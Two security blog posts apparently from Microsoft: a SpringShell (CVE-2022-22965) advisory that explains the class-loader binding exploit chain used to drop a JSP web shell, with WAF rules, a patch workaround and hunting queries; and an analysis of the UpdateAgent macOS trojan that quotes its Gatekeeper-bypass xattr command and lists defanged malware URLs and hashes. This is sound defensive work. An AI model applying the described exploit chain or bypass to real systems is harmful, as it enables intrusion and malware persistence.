A host that returns an HTTP 400 response should be considered vulnerable to the attack detailed in the proof of concept (POC) below. Note that while this test is a good indicator of a system’s susceptibility to an attack, any system within the scope of impacted systems listed above should still be considered vulnerable.

The threat and vulnerability management console within Microsoft 365 Defender provides detection and reporting for this vulnerability.

This blog covers the following topics:

1. Observed activity
2. Attack breakdown
3. The vulnerability and exploit in depth
   • Background
     • Request mapping and request parameter binding
     • The process of property binding
   • The vulnerability and its exploitation
     • Prelude: CVE-2010-1622
     • The current exploit: CVE-2022-22965
     • From ClassLoader to AccessLogValve
4. Discovery and mitigations
   • How to find vulnerable devices
   • Enhanced protection with Azure Firewall Premium
   • Detect and protect with Azure Web Application Firewall (Azure WAF)
     • Global WAF with Azure Front Door
     • Regional WAF with Azure Application Gateway
   • Patch information and workarounds
5. Detections
   • Microsoft 365 Defender
     • Endpoint detection and response (EDR)
     • Antivirus
   • Hunting
     • Microsoft 365 Defender advanced hunting queries 
     • Microsoft Sentinel

Observed activity

Microsoft regularly monitors attacks against our cloud infrastructure and services to defend them better. Since the Spring Core vulnerability was announced, we have been tracking a low volume of exploit attempts across our cloud services for Spring Cloud and Spring Core vulnerabilities. For CVE-2022-22965, the attempts closely align with the basic web shell POC described in this post.

Microsoft’s continued monitoring of the threat landscape has not indicated a significant increase in quantity of attacks or new campaigns at this time.

Attack breakdown

CVE-2022-22965 affects functions that use request mapping annotation and Plain Old Java Object (POJO) parameters within the Spring Framework. The POC code creates a controller that, when loaded into Tomcat, handles HTTP requests.

The only publicly available working POC is specific to Tomcat server’s logging properties via the ClassLoader module in the propertyDescriptor cache. The attacker can update the AccessLogValve class using the module to create a web shell in the Tomcat root directory called shell.jsp. The attacker can then change the default access logs to a file of their choosing.

The changes to AccessValveLog can be achieved by an attacker who can use HTTP requests to create a .jsp file in the service’s root directory. In the example below, each GET parameter is set as a Java object property. Each GET request then executes a Java code resembling the example below, wherein the final segment “setPattern” would be unique for each call (such as setPattern, setSuffix, setDirectory, and others): 

The .jsp file now contains a payload with a password-protected web shell with the following format:

The attacker can then use HTTP requests to execute commands. While the above POC depicts a command shell as the inserted code, this attack could be performed using any executable code.

The vulnerability and exploit in depth

The vulnerability in Spring results in a client’s ability, in some cases, to modify sensitive internal variables inside the web server or application by carefully crafting the HTTP request.

In the case of the Tomcat web server, the vulnerability allowed for that manipulation of the access log to be placed in an arbitrary path with somewhat arbitrary contents. The POC above sets the contents to be a JSP web shell and the path inside the Tomcat’s web application ROOT directory, which essentially drops a reverse shell inside Tomcat. For the web application to be vulnerable, it needs to use Spring’s request mapping feature, with the handler function receiving a Java object as a parameter.

Background

Request mapping and request parameter binding

Spring allows developers to map HTTP requests to Java handler methods. The web application’s developer can ask Spring to call an appropriate handler method each time a user requests a specific URI. For instance, the following web application code will cause Spring to invoke the method handleWeatherRequest each time a user requests the URI /WeatherReport:

@RequestMapping("/WeatherReport")
public string handleWeatherRequest(Location reportLocation)
{
…
}

Moreover, through request parameter binding, the handler method can accept arguments passed through parameters in GET/POST/REST requests. In the above example, Spring will instantiate a Location object, initialize its fields according to the HTTP request’s parameters, and pass it on to handleWeatherRequest. So, if, for instance, Location will be defined as:

class Location
{
    public void setCountry(string country) {…}
    public void setCity(string city) {…}
    public string getCountry() {…}
    public string getCity() {…}
}

If we issue the following HTTP request:

example.com/WeatherReport?country=USA&city=Redmond

The resulting call to handleWeatherRequest will automatically have a reportLocation argument with the country set to USA and city set to Redmond.

If Location had a sub-object named coordinates, which contained longitude and latitude parameters, then Spring would try and initialize them out of the parameters of an incoming request. For example, when receiving a request with GET params coordinates.longitude=123&coordinate.latitude=456 Spring would try and set those values in the coordinates member of location, before handing over control to handleWeatherRequest.

The SpringShell vulnerability directly relates to the process Spring uses to populate these fields.

The process of property binding

Whenever Spring receives an HTTP request mapped to a handler method as described above, it will try and bind the request’s parameters for each argument in the handler method. Now, to stick with the previous example, a client asked for:

example.com/WeatherReport?x.y.z=foo

Spring would instantiate the argument (in our case, create a Location object). Then it breaks up the parameter name by dots (.) and tries to do a series of steps:

1. Use Java introspection to map all accessors and mutators in location
2. If location has a getX() accessor, call it to get the x member of location
3. Use Java introspection to map all accessors and mutators in the x object
4. If the x object has a getY() accessor, call it to get the y object inside of the x object
5. Use Java introspection to map all accessors and mutators in the y object
6. If the y object has a setZ() mutator, call it with parameter “foo”

So essentially, ignoring the details, we get location.getX().getY().setZ(“foo”).

The vulnerability and its exploitation

Prelude: CVE-2010-1622

In June 2010, a CVE was published for the Spring framework. The crux of the CVE was as follows:

1. All Java objects implicitly contain a getClass() accessor that returns the Class describing the object’s class.
2. Class objects have a getClassLoader() accessor the gets the ClassLoader object.
3. Tomcat uses its own class loader for its web applications. This class loader contains various members that can affect Tomcat’s behavior. One such member is URLs, which is an array of URLs the class loader uses to retrieve resources.
4. Overwriting one of the URLs with a URL to a remote JAR file would cause Tomcat to subsequently load the JAR from an attacker-controlled location.

The bug was fixed in Spring by preventing the mapping of the getClassLoader() or getProtectionDomain() accessors of Class objects during the property-binding phase. Hence class.classLoader would not resolve, thwarting the attack.

The current exploit: CVE-2022-22965

The current exploit leverages the same mechanism as in CVE-2010-1622, bypassing the previous bug fix. Java 9 added a new technology called Java Modules. An accessor was added to the Class object, called getModule(). The Module object contains a getClassLoader() accessor. Since the CVE-2010-1622 fix only prevented mapping the getClassLoader() accessor of Class objects, Spring mapped the getClassLoader() accessor of the Module object. Once again, one could reference the class loader from Spring via the class.module.classLoader parameter name prefix.

From ClassLoader to AccessLogValve

The latest exploit uses the same accessor chaining, via the Tomcat class loader, to drop a JSP web shell on the server.

This is done by manipulating the properties of the AccessLogValve object in Tomcat’s pipeline. The AccessLogValve is referenced using the class.module.classLoader.resources.context.parent.pipeline.first parameter prefix.

The following properties are changed:

1. Directory: The path where to store the access log, relative to Tomcat’s root directory. This can be manipulated to point into a location accessible by http requests, such as the web application’s directory.
2. Prefix: The prefix of the access log file name
3. Suffix: The suffix of the access log file name. The log file name is a concatenation of the prefix with the suffix.
4. Pattern: A string that describes the log record structure. This can be manipulated so that each record will essentially contain a JSP web shell.
5. FileDateFormat: Setting this causes the new access log settings to take effect.

Once the web shell is dropped on the server, the attacker can execute commands on the server as Tomcat.

Discovery and mitigations

How to find vulnerable devices

Threat and vulnerability management capabilities in Microsoft Defender for Endpoint monitor an organization’s overall security posture and equip customers with real-time insights into organizational risk through continuous vulnerability discovery, intelligent prioritization, and the ability to seamlessly remediate vulnerabilities.

Customers can now search for CVE-2022-22965 to find vulnerable devices through the Weaknesses page in threat and vulnerability management.

Enhanced protection with Azure Firewall Premium

Customers using Azure Firewall Premium have enhanced protection from the SpringShell CVE-2022-22965 vulnerability and exploits. Azure Firewall Premium Intrusion Detection and Prevention System (IDPS) provides IDPS inspection for all east-west traffic, outbound traffic to the internet, and inbound HTTP traffic from the internet. The vulnerability rulesets are continuously updated and include vulnerability protection for SpringShell since March 31, 2022. The screenshot below shows all the scenarios which are actively mitigated by Azure Firewall Premium.

Configure Azure Firewall Premium with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against CVE-2022-22965 exploit.  

Customers using Azure Firewall Standard can migrate to Premium by following these directions. Customers new to Azure Firewall Premium can learn more about Firewall Premium.

Detect and protect with Azure Web Application Firewall (Azure WAF)

Azure Web Application Firewall (WAF) customers with Azure Front Door and Azure Application Gateway deployments now have enhanced protection for the SpringShell exploit – CVE-2022-22965, and other high impact Spring vulnerabilities CVE-2022-22963 and CVE-2022-22947. To help detect and mitigate these critical Spring vulnerabilities, we have released four new rules.

Global WAF with Azure Front Door

Azure WAF has updated Default Rule Set (DRS) versions 2.0/1.1/1.0.

• Rule group: MS-ThreatIntel-WebShells, Rule Id: 99005006 – Spring4Shell Interaction Attempt
• Rule group: MS-ThreatIntel-CVEs, Rule Id: 99001014 – Attempted Spring Cloud routing-expression injection (CVE-2022-22963)
• Rule group: MS-ThreatIntel-CVEs, Rule Id: 99001015 – Attempted Spring Framework unsafe class object exploitation (CVE-2022-22965)
• Rule group: MS-ThreatIntel-CVEs, Rule Id: 99001016 – Attempted Spring Cloud Gateway Actuator injection (CVE-2022-22947)

WAF rules on Azure Front Door are disabled by default on existing Microsoft managed rule sets.

Regional WAF with Azure Application Gateway

Azure WAF has updated OWASP Core Rule Set (CRS) versions for Azure Application Gateway WAF V2 regional deployments. New rules are under Known_CVEs rule group:

• Rule Id: 800110 – Spring4Shell Interaction Attempt
• Rule Id: 800111 – Attempted Spring Cloud routing-expression injection – CVE-2022-22963
• Rule Id: 800112 – Attempted Spring Framework unsafe class object exploitation – CVE-2022-22965
• Rule Id: 800113 – Attempted Spring Cloud Gateway Actuator injection – CVE-2022-22947

WAF rules on Azure Application Gateway are enabled by default for supported CRS versions.

Recommendation: Enable WAF SpringShell rules to get protection from these threats. We will continue to monitor threat patterns and modify the above rules in response to emerging attack patterns as required.

For more information about Managed Rules and Default Rule Set (DRS) on Azure Front Door, see the Web Application Firewall DRS rule groups and rules documentation. For more information about Managed Rules and OWASP Core Rule Set (CRS) on Azure Application Gateway, see the Web Application Firewall CRS rule groups and rules documentation

Patch information and workarounds

Customers are encouraged to apply these mitigations to reduce the impact of this threat. Check the recommendations card in Microsoft 365 Defender threat and vulnerability management for the deployment status of monitored mitigations.

• An update is available for CVE-2022-22965. Administrators should upgrade to versions 5.3.18 or later or 5.2.19 or later. If the patch is applied, no other mitigation is necessary.

If you’re unable to patch CVE-2022-22965, you can implement this set of workarounds published by Spring:

• Search the @InitBinder annotation globally in the application to see if the dataBinder.setDisallowedFields method is called in the method body. If the introduction of this code snippet is found, add {"class.*","Class.*","*.class.*", "*.Class.*"} to the original blacklist. (Note: If this code snippet is used a lot, it needs to be appended in each location.)
• Add the following global class into the package where the Controller is located. Then recompile and test the project for functionality:

import org.springframework.core.annotation.Order;
        import org.springframework.web.bind.WebDataBinder;
        import org.springframework.web.bind.annotation.ControllerAdvice;
        import org.springframework.web.bind.annotation.InitBinder;
        @ControllerAdvice
        @Order(10000)
        public class GlobalControllerAdvice{
             @InitBinder
             public void setAllowedFields(webdataBinder dataBinder){
             String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"};
             dataBinder.setDisallowedFields(abd);
             }
        }

Detections

Microsoft 365 Defender

Endpoint detection and response (EDR)

Alerts with the following title in the security center can indicate threat activity on your network:

• Possible SpringShell exploitation

The following alerts for an observed attack, but might not be unique to exploitation for this vulnerability:

• Suspicious process executed by a network service

Antivirus

Microsoft Defender antivirus version 1.361.1234.0 or later detects components and behaviors related to this threat with the following detections:

• Trojan:Python/SpringShellExpl
• Exploit:Python/SpringShell
• Backdoor:PHP/Remoteshell.V

Hunting

Microsoft 365 Defender advanced hunting queries 

Use the query below to surface exploitation of CVE-2022-22965 on both victim devices and devices performing the exploitation. Note that this query only covers HTTP use of the exploitation and not HTTPS.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where ActionType =~ "NetworkSignatureInspected"
| where AdditionalFields contains ".jsp?cmd="
| summarize makeset(AdditionalFields, 5), min(Timestamp), max(Timestamp) by DeviceId, DeviceName 

Microsoft Sentinel

Microsoft Sentinel customers can use the following queries to look for this threat activity:

• Possible SpringShell exploitation attempt (CVE-2022-22965) – This hunting query looks in Azure Web Application Firewall data to find possible SpringShell exploitation attempt (CVE-2022-22965) to drop a malicious web shell in a location accessible by HTTP requests. Attackers then make requests to the malicious backdoor to run system commands.

• Possible web shell usage attempt related to SpringShell (CVE-2202-22965) – This hunting query looks in Azure Web Application Firewall data to find possible web shell usage related to SpringShell RCE vulnerability (CVE-2022-22965).

• AV detections related to SpringShell Vulnerability – This query looks for Microsoft Defender for Endpoint hits related to the SpringShell vulnerability. In Microsoft Sentinel, the SecurityAlerts table includes only the device name of the affected device. This query joins the DeviceInfo table to clearly connect other information such as device group, IP address, signed in users, and others. This allows the Microsoft Sentinel analyst to have more context related to the alert, if available.

Revision history

[04/11/2022] – Application Gateway now has enhanced protection for critical Spring vulnerabilities – CVE-2022-22963, CVE-2022-22965, and CVE-2022-22947. See Detection and Mitigation section for details.

[04/08/2022] – Azure Web Application Firewall (WAF) customers with Azure Front Door now has enhanced protection for Spring4Shell exploits – CVE-2022-22963, CVE-2022-22965, and CVE-2022-22947. See Detection and Mitigation section for details.
[04/05/2022] – We added Microsoft Sentinel hunting queries to look for SpringShell exploitation activity.

The post SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 appeared first on Microsoft Security Blog.

Since its first appearance in September 2020, the malware displayed an increasing progression of sophisticated capabilities, and while the latest two variants were sporting much more refined behavior compared with earlier versions, they show signs that the malware is still in the development stage and more updates are likely to come. The latest campaign saw the malware installing the evasive and persistent Adload adware, but UpdateAgent’s ability to gain access to a device can theoretically be further leveraged to fetch other, potentially more dangerous payloads.

UpdateAgent lures its victims by impersonating legitimate software and can leverage Mac device functionalities to its benefit. One of the most advanced techniques found in UpdateAgent’s latest toolbox is bypassing Gatekeeper controls, which are designed to ensure only trusted apps run on Mac devices. The trojan can leverage existing user permissions to quietly perform malicious activities before deleting the evidence to cover its tracks. UpdateAgent also misuses public cloud infrastructure, namely Amazon S3 and CloudFront services, to host its additional payloads. We shared our findings with the team at Amazon Web Services, and they have taken down the malicious URLs–another example of how intelligence sharing and collaboration results in better security for the broader community.

Threats like UpdateAgent are proof that, as environments continue to rely on a diverse range of devices and operating systems, organizations need security solutions that can provide protection across platforms and a complete picture of their security posture. Microsoft Defender for Endpoint delivers and coordinates threat defense across all major OS platforms including Windows, macOS, Linux, Android and iOS. On macOS devices, Microsoft Defender for Endpoint detects and exposes threats and vulnerabilities through its antivirus, endpoint detection and response (EDR), and threat and vulnerability management capabilities.

In this blog post, we share the evolving development of the UpdateAgent trojan targeting Mac users and detail the malware’s recent campaign to compromise devices, steal sensitive information, and distribute adware as a secondary payload.

Progression of UpdateAgent

UpdateAgent is uniquely characterized by its gradual upgrading of persistence techniques, a key feature that indicates this trojan will likely continue to use more sophisticated techniques in future campaigns. Like many information-stealers found on other platforms, the malware attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.

The trojan is likely distributed via drive-by downloads or advertisement pop-ups, which impersonate legitimate software such as video applications and support agents. This action of impersonating or bundling itself with legitimate software increases the likelihood that users are tricked into installing the malware. Once installed, UpdateAgent starts to collect system information that is then sent to its command-and-control (C2) server.

Notably, the malware’s developer has periodically updated the trojan over the last year to improve upon its initial functions and add new capabilities to the trojan’s toolbox. The timeline below illustrates a series of techniques adopted by UpdateAgent from September 2020 through October 2021:

• September–December 2020: The initial version of UpdateAgent was considered to be a fairly basic information-stealer. At the time, the malware was only capable of performing reconnaissance to scan and collect system information such as product names and versions. Once gathered, the data was then sent as heartbeats to the malware’s C2 server.

• January–February 2021: Approximately two months later, UpdateAgent maintained its original capabilities and added a new one: the ability to fetch secondary payloads as .dmg files from public cloud infrastructure. DMG files are mountable disk images used to distribute software and apps to macOS, allowing the trojan to easily install additional programs on affected devices.

• March 2021: Upon its third update, the malware altered one of its prior functions to fetch secondary payloads as .zip files instead of .dmg files. The malware’s developer also included two new capabilities: the ability to bypass Gatekeeper by removing the downloaded file’s quarantine attribute and the ability to create a PLIST file that is added to the LaunchAgent folder. The quarantine attribute forces Gatekeeper to block the launch of any file downloaded from the web or other unknown sources, and it also displays a pop-up warning that users cannot open the respective file as “it is from an unidentified developer”. By removing the attribute, the malware both prevented the pop-up message warning users and allowed the files to launch without being blocked by Gatekeeper. Moreover, as the LaunchAgent folder specifies which apps and code automatically run each time a user signs into the machine, adding the malware’s PLIST file allowed it to be included in these automatic launches for persistence upon users signing into the affected device.

• August 2021: The malware’s fourth update further altered some of its prior capabilities. For one, it expanded its reconnaissance function to scan and collect System_profile and SPHardwaretype information. Additionally, UpdateAgent was changed to create and add PLIST files to the LaunchDaemon folder instead of the LaunchAgent folder. While targeting the LaunchDaemon folder instead of the LaunchAgent folder required administrative privileges, it permitted the malware to inject persistent code that ran as root. This code generally takes the form of background processes that don’t interact with users, thus it also improved the trojan’s evasiveness.

• October 2021: We detected the latest variants of UpdateAgent just over a year since its release into the wild. Sporting many of the updates found in the August 2021 variant, UpdateAgent still performed system reconnaissance, communicated with the C2 server as heartbeats, and bypassed Gatekeeper. Additionally, the October update expanded the malware’s ability to fetch secondary payloads as both .dmg or .zip files from public cloud infrastructure, rather than choosing between filetypes. Among its new capabilities, UpdateAgent included the ability to enumerate LSQuarantineDataURLString using SQLite in order to validate whether the malware’s downloaded app is within the Quarantine Events database where it would be assigned a quarantine attribute. The upgrade also allowed the malware to leverage existing user profiles to run commands requiring sudo access in addition to the ability to add arguments using PlistBuddy to create and edit PLIST files more easily. Lastly, the trojan included the ability to modify sudoers list, allowing the malware to bypass a prompt requiring high privilege user credentials while running UpdateAgent’s downloaded app.

October 2021 Campaign

In the October 2021 campaign, UpdateAgent included a larger set of sophisticated techniques than ever previously observed. The attackers distributed the trojanized app in .zip or .pkg format, conforming with a campaign observed in early 2021:

Upon analyzing UpdateAgent’s infrastructure, we determined that the infrastructure used in the October 2021 campaign was created at the end of September 2021, and we also discovered additional domains with payloads. This indicates that the trojan is still in the developmental stage and is likely to add or modify its capabilities in future updates and continue its track of improving its overall level of sophistication.

We further observed two separate variants of the UpdateAgent trojan in its October 2021 campaign. Each variant leveraged different tactics to infect a device, as detailed below:

Variant 1

The first variant of UpdateAgent takes the following steps to infect a device:

1. A .zip file named HelperModule.zip downloads and installs UpdateAgent using a specific file path – /Library/Application Support/xxx/xxx. This .zip file is installed in /Library/Application Support/Helper/HelperModule.
2. UpdateAgent collects operating system and hardware information about the affected device. Once the compromised device connects to the C2 server, the trojan uses a curl request to send this data to the C2 server.
3. Upon successful connection, UpdateAgent requests a secondary payload, usually a .dmg or .zip file, which is hosted on a CloudFront instance.
4. Once the secondary payload downloads, UpdateAgent uses the xattr command – /usr/bin/xattr -rc /tmp/setup.dmg, to remove the quarantine attribute of downloaded files and bypass Gatekeeper controls.
5. UpdateAgent then extracts the secondary payload (.dmg or .zip). Once the file is mounted, it unzips and copies the payload files to a temporary folder, assigning executable permissions, and launches these files. UpdateAgent also uses PlistBuddy to create PLIST files under the LaunchAgent folder to remain persistent through system restart.
6. UpdateAgent removes evidence by deleting the secondary payload, temporary folders, PLIST files, and all other downloaded artifacts.

Variant 2

The second variant of UpdateAgent takes the following steps to infect a device:

1. A third-party WebVideoPlayer application (WebVideoPlayer.pkg) with a post-install script downloads additional apps or .zip files as /Applications/WebVideoPlayer.app/Contents/MacOS/WebVideoPlayer. Notably, this application included a valid certificate that was later revoked by Apple in October 2021.
2. The application scans the user profile to identify existing user IDs and assigned groups.
3. The WebVideoPlayer application uses SQLite3 commands to determine if the .pkg file is within the Quarantine Events database, which contains URLs of downloaded files, mail addresses, and subjects for saved attachments.
4. The .pkg payload extracts and drops UpdateAgent in /Library/Application Support/WebVideoPlayer/WebVideoPlayerAgent.
5. The WebVideoPlayer application also assigns executable permissions to UpdateAgent and attempts to remove the quarantine attribute of the file using the xattr command to bypass Gatekeeper controls.
6. The application then launches UpdateAgent and collects and sends the OS information to the attacker’s C2 server. Like the first variant, the second variant sends curl requests that download additional payloads, such as adware, and removes evidence by deleting all files and folders that it created.

Adload adware

UpdateAgent is further characterized by its ability to fetch secondary payloads that can increase the chances of multiple infections on a device, with the latest campaign pushing adware. We first observed UpdateAgent distributing adware as a secondary payload in its October 2021 campaign, identified as part of the Adload adware family by Microsoft Defender Antivirus.

Similar to UpdateAgent, adware is often included in potentially unwanted or malicious software bundles that install the adware alongside impersonated or legitimate copies of free programs. In Adload’s case, we previously observed the adware family targeting macOS users had spread via rogue installers often found on malicious websites.

Once adware is installed, it uses ad injection software and techniques to intercept a device’s online communications and redirect users’ traffic through the adware operators’ servers, injecting advertisements and promotions into webpages and search results. More specifically, Adload leverages a Person-in-The-Middle (PiTM) attack by installing a web proxy to hijack search engine results and inject advertisements into webpages, thereby siphoning ad revenue from official website holders to the adware operators.

Adload is also an unusually persistent strain of adware. It is capable of opening a backdoor to download and install other adware and payloads in addition to harvesting system information that is sent to the attackers’ C2 servers. Considering both UpdateAgent and Adload have the ability to install additional payloads, attackers can leverage either or both of these vectors to potentially deliver more dangerous threats to target systems in future campaigns.

Defending against macOS threats

UpdateAgent’s evolution displays the increasing complexity of threats across platforms. Its developers steadily improved the trojan over the last year, turning a basic information-stealer into a persistent and more sophisticated piece of malware. This threat also exemplifies the trend of common malware increasingly harboring more dangerous threats, a pattern also observed in other platforms. UpdateAgent’s ability to gain access to a device can theoretically be leveraged by attackers to introduce potentially more dangerous payloads, emphasizing the need to identify and block threats such as this.

Defenders can take the following mitigation steps to defend against this threat:

• Encourage the use of Microsoft Edge—available on macOS and various platforms—or other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
• Restrict access to privileged resources, such as LaunchDaemons or LaunchAgents folders and sudoers files, through OSX enterprise management solutions. This helps to mitigate common persistence and privilege escalation techniques.
• Install apps from trusted sources only, such as a software platform’s official app store. Third-party sources may have lax standards for the applications that they host, allowing malicious actors to upload and distribute malware.
• Run the latest version of your operating systems and applications. Deploy the latest security updates as soon as they become available.

As organizational environments are intricate and heterogenous, running multiple applications, clouds, and devices, they require solutions that can protect across platforms. Microsoft Defender for Endpoint offers cross-platform security and a unified investigation experience that gives customers visibility across all endpoints and enables them to detect, manage, respond, and remediate threats, such as the capability to detect UpdateAgent’s anomalous use of PlistBuddy.

Microsoft Defender for Endpoint customers can apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats. 
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Defender for Endpoint’s next-generation protection reinforces network security perimeters and includes antimalware capabilities to catch emerging threats, including UpdateAgent and its secondary payloads, C2 communications, and other malicious artifacts affiliated with the trojan’s reconnaissance activities. Moreover, macOS antimalware detections provide insight into where a threat originated and how the malicious process or activity was created, providing security teams a comprehensive view of incidents and attack chains.

Finally, this research underscores the importance of understanding a macOS threat’s progression to not only remedy its current abilities, but to prepare for increased capabilities and sophistication of the threat. As threats on other OS platforms continue to grow, our security solutions must secure users’ computing experiences be it a Windows or non-Windows machine. By sharing our research and other forms of threat intelligence, collaboration across the larger security community can aid in enriching our protection technologies, regardless of the platform or device in use.

Detection details

Antivirus

Microsoft Defender Antivirus detects threat components and behavior as the following malware:

• Trojan:MacOS/UpdateAgent.B
• Trojan:MacOS/UpdateAgent.A
• Trojan:MacOS/Agent.A
• Adware:MacOS/Adload.A
• Behavior:MacOS/UpdateAgent.B

Endpoint detection and response (EDR)

Alerts with the following titles in the Microsoft 365 Security Center can indicate threat activity within your network:

• macOS Gatekeeper bypass
• Executable permission added to file or directory
• Suspicious database access
• Suspicious System Hardware Discovery
• Suspicious binary dropped and launched

Advanced hunting

To locate activity related to UpdateAgent, run the following advanced hunting queries in Microsoft 365 Defender or Microsoft Defender Security Center.

File quarantine attribute

Look for file quarantine attribute removal for the specific packages involved in the campaign. 

DeviceProcessEvents
| where FileName has "xattr" and (ProcessCommandLine has "-rc Library/Application Support/WebVideoPlayer/WebVideoPlayerAgent" or ProcessCommandLine has "-r -d /Library/Application Support/Helper/HelperModule")

Quarantine Event database

Look for quarantine event database enumeration through sqlite3 for the packages involved in the campaign. 

DeviceProcessEvents
| where FileName has "sqlite3" and ProcessCommandLine has "WebVideoPlayer.pkg"

Curl request

Look for UpdateAgent’s  curl requests.

DeviceProcessEvents
| where FileName has "curl" and ProcessCommandLine has "--connect-timeout 900 -L"

Indicators

Files (SHA-256)

• 1966d64e9a324428dec7b41aca852034cbe615be1179ccb256cf54a3e3e242ee
• ef23a1870d84e164a4234074251205190a5dfda9f465c8eee6c7e0d6878c2b05
• 519339e67b1d421d51a0f096e80a57083892bac8bb16c7e4db360bb0fda3cb11
• cc2f246dda46b17e9302242879788aa114ee64327c8de43ef2b9ab56e8fb57b2
• 5c1704367332a659f6e10d55d08a3e0ab1bd26aa97654365dc82575356c80502
• c60e210f73d5335f57f367bd7e166ff4c17f1073fd331370eb63342ab1c82238
• f01dec606db8f66489660615c777113f9b1180a09db2f5d19fb5bca7ba3c28c7
• 4f1399e81571a1fa1dc822b468453122f89ac323e489f57487f6b174940e9c2e
• 9863bc1917af1622fdeebb3bcde3f7bebabcb6ef13eae7b571c8a8784d708d57
• a1fba0bb0f52f25267c38257545834a70b82dbc98863aee01865a2661f814723
• 81cfa53222fa473d91e2a7d3a9591470480d17535d49d91a1d4a7836ec943d3a
• 78b4478cd3f91c42333561abb9b09730a88154084947182b2ec969995b25ad78
• 91824c6a36ef60881b4f502102b0c068c8a3acd4bceb86eb4ffd1043f7990763
• 86b45b861a8f0855c97cc38d2be341cc76b4bc1854c0b42bdca573b39da026ac
• 84ff961552abd742cc2393dde20b7b3b7b2cfb0019c80a02ac24de6d5fcc0db4
• 0ee6c8fd43c03e8dc7ea081dfa428f22209ed658f4ae358b867de02030cfc69b
• 443b6173ddfbcc3f19d69f60a1e5d72d68d28b7323fe2953d051b32b4171aa9a
• 409f1b4aeb598d701f6f0ed3b49378422c860871536425f7835ed671ba4dd908
• 77f084b5fc81c9c885a9b1683a12224642072f884df9e235b78941a1ad69b80d
• cbabbbb270350d07444984aa0ce1bb47078370603229a3f03a431d6b7a815820
• 053fbb833ac1287d21ae96b91d9f5a9cfdd553bc41f9929521d4043e91e96a98
• 29e3d46867caddde8bb429ca578dd04e5d7112dd730cd69448e5fb54017a2e30
• 356d429187716b9d5562fe6eee35ea60b252f1845724b0a7b740fbddec73350f
• a98ecd8f482617670aaa7a5fd892caac2cfd7c3d2abb8e5c93d74c344fc5879c
• c94760fe237da5786464ec250eadf6f7f687a3e7d1a47e0407811a586c6cb0fc
• eb71d15308bfcc00f1b80bedbe1c73f1d9e96fd55c86cf420f1f4147f1604f67
• 0c08992841d5a97e617e72ade0c992f8e8f0abc9265bdca6e09e4a3cb7cb4754
• 738822e109f1b14413ee4af8d3d5b2219293ea1a387790f207d937ca11590a14
• 0d9f861fe4910af8299ac3cb109646677049fa9f3188f52065a47e268438b107
• a586ef06ab8dd6ad1df77b940028becd336a5764caf097103333975a637c51fa
• 73a465170feed88048dbc0519fbd880aca6809659e011a5a171afd31fa05dc0b
• d5c808926000bacb67ad2ccc4958b2896ea562f27c0e4fc4d592c5550e39a741
• 7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4
• 939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a
• c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b
• 57d46205a5a1a5d6818ecd470b61a44aba0d935f256265f5a26d3ce791038fb4
• e8d4be891c518898dd3ccdff4809895ed21558d90d415cee868bebdab2da7397
• 9f1989a04936cd8de9f5f4cb1f5f573c1871b63737b42d18ac4fa337b089cbdc
• b55c806367946a70d619f25e836b6883a36c9ad22d694a173866b57dfe8b29c9
• e46b09b270552c7de1311a8b24e3fcc32c8db220c03ca0d8db05e08c76e536f1
• f9842e31ed16fe0173875c38a41ed3a766041350b4efcd09da62718557ca3033
• bad5dc1dd6ff19f9fb1af853a8989c1b0fdfeaa4c588443607de03fccf0e21c9

Download URLs

• hxxps://d35ep4bg5x8d5j[.]cloudfront[.]net/pkg
• hxxps://d7rp2fva69arq[.]cloudfront[.]net/pkg
• hxxps://daqi268hfl8ov[.]cloudfront[.]net/pkg
• hxxps://events[.]optimizerservices[.]com/pkg
• hxxps://ekogidekinvgwyzmeydw[.]s3[.]amazonaws[.]com/OptimizerProcotolStatus[.]zip
• hxxps://lnzjvpeyarvvvtljxsws[.]s3[.]amazonaws[.]com/ConsoleSoftwareUpdateAgent[.]zip
• hxxps://qqirhvehhnvuemxezfxc[.]s3[.]amazonaws[.]com/ModuleAgent[.]zip
• hxxps://dpqsxofvslaxjaiyjdok[.]s3[.]amazonaws[.]com/ProtocolStatus[.]zip
• hxxps://oldbrlauserz[.]s3[.]amazonaws[.]com/setup[.]zip
• hxxps://grxqorfazgqbmzeetpus[.]s3[.]amazonaws[.]com/SetupUpdateAgent[.]zip
• hxxps://phdhrhdsp[.]s3[.]amazonaws[.]com/setup[.]zip
• hxxps://xyxeaxtugahkwrcvbzsw[.]s3[.]amazonaws[.]com/BundleAgent[.]zip
• [.]s3[.]amazonaws[.]com/GuideServices[.]zip
• hxxps://tnkdcxekehzpnpvimdwquzwzgpehlnwgizrlmzev[.]s3[.]amazonaws[.]com/HelperModule[.]zip
• hxxps://svapnilpkasjmwtygfstkhsdfrraa[.]s3[.]amazonaws[.]com/WizardUpdate[.]zip

The post The evolution of a Mac trojan: UpdateAgent’s progression appeared first on Microsoft Security Blog.